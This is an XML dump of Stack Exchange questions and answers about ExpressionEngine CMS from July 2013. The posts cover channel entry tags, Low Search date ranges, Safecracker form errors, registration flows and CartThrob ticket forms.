  <row Id="11761" PostTypeId="2" ParentId="11758" CreationDate="2013-07-08T15:26:50.667" Score="1" Body="&lt;p&gt;Check the config folder, you may need to set it in there with the leading HTTP too. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2013-07-08T15:26:50.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11762" PostTypeId="1" AcceptedAnswerId="11775" CreationDate="2013-07-08T15:27:03.917" Score="1" ViewCount="79" Body="&lt;p&gt;I have two channels: Blog and Offers; and I have a blog detail template. The blog detail template should display one of several entries depending on the URL. But the template should also display an entry from the Offers channel that is always the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the way it's working is, if I access the template without specifying the article name in the URL, I can see my channel entry (the thing at the bottom that says &quot;Gearing up for a site redesign?&quot;). But if the URL specifies a particular Blog entry (as in the link in the first paragraph), the channel entry won't show up. The opening code for the code for the channel entry looks like this: &lt;code&gt;{exp:channel:entries channel=&quot;offers&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this is now solved. I added dynamic=&quot;no&quot; to the tag.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastEditorUserId="1746" LastEditDate="2013-07-08T15:45:00.357" LastActivityDate="2013-07-08T22:54:45.597" Title="Make channel entry show up regardless of URL" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11763" PostTypeId="1" AcceptedAnswerId="11783" CreationDate="2013-07-08T15:51:14.933" Score="0" ViewCount="282" Body="&lt;p&gt;I'm trying to add 2 text fields in Low Search for users to select a beginning and end date for an event search. I'm basing my events off of entry_date instead of a custom field (though I could run a custom field if it's easier). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;start_on&quot;&amp;gt;From&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;datepicker&quot; placeholder=&quot;From&quot; name=&quot;start_on&quot;&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;stop_before&quot;&amp;gt;To&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;datepicker&quot; placeholder=&quot;To&quot; name=&quot;stop_before&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I enter my dates (currenty being returned in YYYY-MM-DD format, search results return nothing. I'm feeling a bit lost on how to get low search to read my start_on and stop_before limits.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-07-09T07:14:57.253" Title="Using Low Search with a custom date range" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11766" PostTypeId="2" ParentId="11723" CreationDate="2013-07-08T16:45:01.710" Score="0" Body="&lt;p&gt;Unfortunately this is not possible out of the box with ExpressionEngine. The only 3rd party events add-on that I was able to find is &lt;a href=&quot;http://devot-ee.com/add-ons/low-events&quot; rel=&quot;nofollow&quot;&gt;Low Events&lt;/a&gt;, which doesn't appear to do everything  you need/want it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most complex part is likely to be the &quot;pricing rules&quot; and &quot;quotas&quot;. It seems to me that you're likely to need a custom addon for that.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-07-08T16:45:01.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11767" PostTypeId="2" ParentId="11655" CreationDate="2013-07-08T16:51:46.290" Score="0" Body="&lt;p&gt;In the last couple of sites that I built that had FAQs, they were less than 20 questions per faq. I didn't set up a channel, but instead used a Low Variable that used the matrix field type. Super easy to use, easy to re-order and the clients are very happy with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If categories were required then I would take one of two options, create a whole new matrix per category or add a new column with a dropdown/p&amp;amp;T pill and have the category chosen on a per row basis. In this case in the matrix code you'd use matrix search {my_matrix_field search:age=&quot;&gt;=16&quot;}&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-07-08T16:51:46.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11768" PostTypeId="2" ParentId="11723" CreationDate="2013-07-08T18:12:45.547" Score="2" Body="&lt;p&gt;You could conceivably build a solution using Cartthrob and Profile:Edit in conjunction - as your events could be simple channel entries. It would seem your &quot;customers&quot; would need to register for the site, with some sort of required &quot;gender&quot; field, which could then control which events would be visible, and to whom, or available for purchase. You could probably use price modifiers per event based on the cost per gender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it could potentially require some custom work for the products - i.e. for the quotas - you might need a custom extension for inventory - and how would you even begin to enforce the gender aspect?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-07-08T18:12:45.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11769" PostTypeId="1" CreationDate="2013-07-08T18:47:12.417" Score="0" ViewCount="247" Body="&lt;p&gt;I am trying to connect a page by anchor and having no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}our_courses#953/&quot;&amp;gt;Name of Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it's not working with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a name=&quot;{category_id}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="340" LastActivityDate="2013-10-06T21:54:15.797" Title="Anchor Tags in EE 1.7" Tags="|html|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11771" PostTypeId="1" CreationDate="2013-07-08T19:38:14.697" Score="1" ViewCount="190" Body="&lt;p&gt;I've run into this before, however, for whatever reason I can't seem to resolve it this time. Whenever I submit my safecracker form below, I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The form you submitted contained the following errors&#xA;You must specify a valid entry to edit.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hidden fields show the correct entry_id, etc. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4==&quot;issue&quot;}&#xA;&#xA;{if segment_6 == &quot;success&quot;}&#xA;    &amp;lt;div class=&quot;alert fade in&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;alert&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;        &amp;lt;strong&amp;gt;Success&amp;lt;/strong&amp;gt; Issue has been updated.&#xA;    &amp;lt;/div&amp;gt;     &#xA;{/if}&#xA;&#xA;&#xA;{exp:safecracker&#xA;limit=&quot;1&quot;&#xA;channel=&quot;issue&quot;&#xA;return=&quot;/myfig/{segment_2}/edit/issue/ENTRY_ID/success&quot; &#xA;datepicker=&quot;yes&quot;&#xA;include_jquery=&quot;no&quot;&#xA;entry_id=&quot;{segment_5}&quot;&#xA;safecracker_head=&quot;no&quot;&#xA;error_handling=&quot;inline&quot;&#xA;use_live_url=&quot;no&quot;&#xA;author_only=&quot;no&quot;&#xA;}&#xA;&#xA;    &amp;lt;label&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;Rate&amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;add-on&quot;&amp;gt;$&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;rate&quot; id=&quot;rate&quot; value=&quot;{rate}&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;label&amp;gt;Publish Date&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;publish_date&quot; id=&quot;publish_date&quot; value=&quot;{exp:low_nice_date date='{publish_date}' format='%m/%d/%Y'}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Date Signed&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;date_signed&quot; id=&quot;date_signed&quot; value=&quot;{exp:low_nice_date date='{date_signed}' format='%m/%d/%Y'}&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-success&quot; value=&quot;Update&quot; /&amp;gt;&#xA;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-10-22T19:33:06.333" Title="Specify a valid entry to edit - Safecracker Error" Tags="|safecracker|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11773" PostTypeId="1" CreationDate="2013-07-08T20:57:59.550" Score="1" ViewCount="161" Body="&lt;p&gt;Using Dropdate 2.2.0 and EE 2.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting the field gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: 4096&#xA;&#xA;Message: Argument 2 passed to Dropdate_ft::replace_tag() must be of the type array, boolean given, called in     /Users/Chad/Repositories/hhc/site/system/expressionengine/libraries/channel_entries_parser/components/Custom_field    .php on line 125 and defined&#xA;&#xA;Filename: dropdate/ft.dropdate.php&#xA;&#xA;Line Number: 338&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: array_merge(): Argument #2 is not an array&#xA;&#xA;Filename: dropdate/ft.dropdate.php&#xA;&#xA;Line Number: 357&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at     /Users/Chad/Repositories/hhc/site/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone direct me to a fix for this? I couldn't see anything obvious in the code. Line 338 is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function replace_tag($field_data = '', Array $params = array(), $tagdata = '')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the param in question is Array $params = array()&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-07-09T10:06:32.513" Title="Dropdate Array Error" Tags="|fieldtype|date|dropdate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11774" PostTypeId="1" AcceptedAnswerId="12084" CreationDate="2013-07-08T22:44:51.793" Score="0" ViewCount="85" Body="&lt;p&gt;I have a monthly event. I want to say &lt;em&gt;&quot;The date/time of the next event is [time]&quot;&lt;/em&gt;.&lt;br&gt;&#xA;Lets say, the 5th of every month, from 5pm-6pm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's currently January 4th, it'll say the next date is January 5th.&lt;br&gt;&#xA;If it's currently January 6th, it'll say the next date is February 5th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I'll need to account for the day itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's currently January 5th: from 5pm to 6pm I want it to say the event is on &lt;em&gt;now&lt;/em&gt;.&lt;br&gt;&#xA;If it's currently January 5th, from 6pm onwards I want it to say the next date is February 5th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know how to even begin using dates in conditionals, etc.&lt;br&gt;&#xA;Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;These events aren't channel entries, they are just a known monthly date and I needed to check whether the current time is before, after or during the event.&lt;br&gt;&#xA;This has been solved.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-07-18T23:32:28.287" LastActivityDate="2013-07-18T23:32:28.287" Title="Getting the next time" Tags="|date|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11775" PostTypeId="2" ParentId="11762" CreationDate="2013-07-08T22:54:45.597" Score="0" Body="&lt;p&gt;I have added a snippet to SublimeText to create a channel entries tag with defaults for both the disable=&quot;all the normal things&quot; and dynamic=no.  Actyally I store my disables in an early parsed low variable so that is a new one comes along I can add it in one place and it will propagate to all my templates...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very handy - stops me tripping up on the dynamic thing time and time again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be handy for you.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-08T22:54:45.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11776" PostTypeId="1" AcceptedAnswerId="11954" CreationDate="2013-07-08T23:16:17.847" Score="1" ViewCount="177" Body="&lt;p&gt;I'm using Safecracker Registration. There are a few things I want to improve for my registration process. I'm not sure if this is something I need to do in Safecracker Registration or in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Registration Process Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon submitting the registration form, users are NOT loggged in and are directed to a page that tells them to verify their email address. Everything is good so far.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When the user checks their email and clicks the activation link, I want the user to be directed to a page that I specify instead of EE's default page.&lt;/li&gt;&#xA;&lt;li&gt;When the user gets to the activation page (whether it's mine or EE's), I want the user automatically logged in. The assumption is that only the user has access to his/her email and clicking the activation link essentially confirmed the identity of the user -- thus, this is safe.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forgot Password&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This process sends an initial email to the user, which then sends another email with the new password if the user clicks the link in the initial email. How do I get these links to direct to my template pages instead of EE's?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Synchronizing Information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My member's Channel (the one associated via SafeCracker Registration) has a &lt;code&gt;{profile_name}&lt;/code&gt; field. Whenever this is set, I'd like to sync it up with EE's &lt;code&gt;{screen_name}&lt;/code&gt;. How do I do this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-09-14T10:41:21.190" Title="Safecracker Registration &amp; EE's registration process, Forgot Password" Tags="|members|registration|safecracker-registration|member-details|forgot-password|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11777" PostTypeId="1" AcceptedAnswerId="11782" CreationDate="2013-07-09T00:33:11.733" Score="1" ViewCount="133" Body="&lt;p&gt;I am showing entries from the same category on a single entry page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;aside&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Categories&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;&#xA;    {exp:channel:entries&#xA;      channel=&quot;articles&quot;&#xA;      disable=&quot;member_data|pagination|trackbacks&quot;&#xA;      require_entry=&quot;yes&quot;&#xA;      dynamic=&quot;off&quot;&#xA;      related_categories_mode=&quot;on&quot;&#xA;    }&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/articles/detail/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All good but I only want the  container to show if there are those entries. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2013-07-09T05:47:34.450" Title="Only show if there are sibling entries" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11778" PostTypeId="1" CreationDate="2013-07-09T01:20:29.997" Score="1" ViewCount="386" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm rather new to EE, and I'm having a hard time finding some stuff in it.&#xA;I started working on a legacy site that is pure EE template and for every validation it goes to a new page.&#xA;I'm wanting to use jQuery/Ajax/EE for validation, but I can't find the function that would validate the data on submission. I also want to know what is EE using to hash the passwords so I can correctly hash before I send to the server.&#xA;If anyone can provide a link or an answer I would be very grateful.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2013-08-08T09:03:01.343" Title="Ajax Login Validation using native EE function" Tags="|ee2|ajax|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11779" PostTypeId="2" ParentId="11774" CreationDate="2013-07-09T02:12:43.793" Score="1" Body="&lt;p&gt;Can you use Low's nice date for this? It has a range setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-nice-date/&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-nice-date/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-07-09T02:12:43.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11780" PostTypeId="1" CreationDate="2013-07-09T02:27:13.367" Score="2" ViewCount="463" Body="&lt;p&gt;I need to show a list of child categories plus it's entries. I had done this great using a &lt;a href=&quot;http://devot-ee.com/add-ons/ee2-child-categories&quot; rel=&quot;nofollow&quot;&gt;child categories extension&lt;/a&gt; but now I need the ability to use &lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt;. I have tried numerous ways get them to work together with no luck so I think I need another method. I haven't posted my current code because I'm sure it will need completely re-writing. Happy to post if needed but this is the structure I'm hoping for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;cat-list&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- child category loop --&amp;gt;&#xA;&#xA;&amp;lt;dt&amp;gt;&amp;lt;span&amp;gt;{child_category_name}&amp;lt;/span&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&#xA;    &amp;lt;p&amp;gt;{child_category_description}&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&#xA;  &amp;lt;!-- entries loop --&amp;gt;&#xA;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/articles/detail/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;  &amp;lt;!-- /entries loop --&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/dd&amp;gt;&#xA;&#xA;&amp;lt;!-- /child category loop --&amp;gt;&#xA;&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2013-08-08T10:03:01.283" Title="Show a list of child categories plus it's entries" Tags="|low-reorder|child-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11781" PostTypeId="2" ParentId="10830" CreationDate="2013-07-09T05:05:55.227" Score="0" Body="&lt;p&gt;I was able to solve this problem myself using the following bug report on the EE site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19321&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19321&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the bug has been fixed in more-recent versions of EE -- you can see the patches in the source files -- it still may be necessary to open and save any relationship fields in your channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go to Administration / Channel Fields, and check set set of fields for any relationship fields. Open them, don't change anything, and then update them. That solved the problem for me.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2013-07-09T05:05:55.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11782" PostTypeId="2" ParentId="11777" CreationDate="2013-07-09T05:47:34.450" Score="2" Body="&lt;p&gt;You could move the wrapping html into the channel entries loop, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;articles&quot;&#xA;  disable=&quot;member_data|pagination|trackbacks&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  dynamic=&quot;off&quot;&#xA;  related_categories_mode=&quot;on&quot;&#xA;}&#xA;&#xA;{if count == 1}&#xA;  &amp;lt;aside&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Categories&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/articles/detail/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{if count == total_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/aside&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there are no results, nothing will get displayed. If you want to trigger something to happen, just use the no_results trigger:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}{embed=&quot;inc/random_entries&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Iain&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-07-09T05:47:34.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11783" PostTypeId="2" ParentId="11763" CreationDate="2013-07-09T07:14:57.253" Score="0" Body="&lt;p&gt;Both the &lt;code&gt;start_on&lt;/code&gt; and &lt;code&gt;stop_before&lt;/code&gt; parameters need this format: &lt;code&gt;YYYY-MM-DD HH:MM&lt;/code&gt;, as per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;the native docs&lt;/a&gt;. If you make sure the fields are in that format before the form is submitted, it should work.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-09T07:14:57.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11784" PostTypeId="2" ParentId="11780" CreationDate="2013-07-09T08:06:44.657" Score="1" Body="&lt;p&gt;Your example code looks a lot like the example I used &lt;a href=&quot;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&quot; rel=&quot;nofollow&quot;&gt;in this article&lt;/a&gt;. It doesn't necessarily take child categories only into account, but the principle is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the same solution I mention in the blog post, but use the Query tag (or a 3rd party add-on) to only get child categories and use Low Reorder to get the entries in the right order. However, you'd need a certain setup: one big Low Reorder set containing all entries from all categories, ordered the way you want. Then you could filter that list by category. That implies that an entry could only belong to 1 category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If entries belong to multiple categories, the nested approach might be the only way. Just keep a close eye on the number of queries generated. As for the LR setup, a single set with 'show entries per single category' option will allow you to create ordered lists per category. Nesting that inside the Query tag (or 3rd party add-on) will let you use a {category_id} as a parameter to get to the right list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So sorry, no easy answer for this one. It's always been a bit of a pain to generate entries per category in one go.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-09T08:06:44.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11785" PostTypeId="1" CreationDate="2013-07-09T08:28:01.803" Score="0" ViewCount="179" Body="&lt;p&gt;Working on a site with several steps that have to be done by different editors. I am afraid of data loss through cross-editing (two or more users editing an entry at the same time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The item should not be locked down completely, I would just like to have a warning displayed. This would prevent accidental lockdown (someone leaves their browser open while editing a post and goes to lunch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all has to happen on a Safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one add-on on devotee, but the reviews say that it breaks Zoo Admin and the author seems to be unresponsive.&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorUserId="779" LastEditDate="2013-07-12T12:42:41.503" LastActivityDate="2013-07-12T12:42:41.503" Title="Prevent multiple users from editing the same item" Tags="|safecracker|users|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11786" PostTypeId="2" ParentId="11755" CreationDate="2013-07-09T08:48:30.077" Score="1" Body="&lt;p&gt;Solution using Matrix field type instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_tickets}&#xA;&amp;lt;div id=&quot;event_tickets&quot; class=&quot;box toptagorange buybox&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Buy Tickets&amp;lt;/h2&amp;gt;&#xA;{exp:cartthrob:multi_add_to_cart_form&#xA;return=&quot;shop/basket&quot;&#xA;}&#xA;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;th class=&quot;ticket&quot;&amp;gt;Ticket&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;Qty&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{event_tickets}&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;{if option_name}{option_name}{if:else}{option_value}{/if} &amp;lt;span class=&quot;price&quot;&amp;gt;{price_plus_tax_numeric}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; value=&quot;&quot; class=&quot;tiny&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{row_id}][event_tickets]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{row_id}]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/event_tickets}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{if '{event_tickets:sum col=&quot;inventory&quot;}' == 0}&#xA;&amp;lt;p&amp;gt;Out Of Stock&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Buy Tickets&quot;&amp;gt;&#xA;{/if}&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastEditorUserId="150" LastEditDate="2013-07-19T11:44:28.630" LastActivityDate="2013-07-19T11:44:28.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11787" PostTypeId="2" ParentId="11778" CreationDate="2013-07-09T08:57:04.157" Score="1" Body="&lt;p&gt;If I understand you correctly then you don't really need to know what function EE is using but simply submit your login form via Ajax to the URL it would normally submit to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to look at these add-ons. Some of them cost a few dollars but they will probably cost less than the time you will spend on trying to create the same functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=ajax+login&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=ajax+login&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-09T08:57:04.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
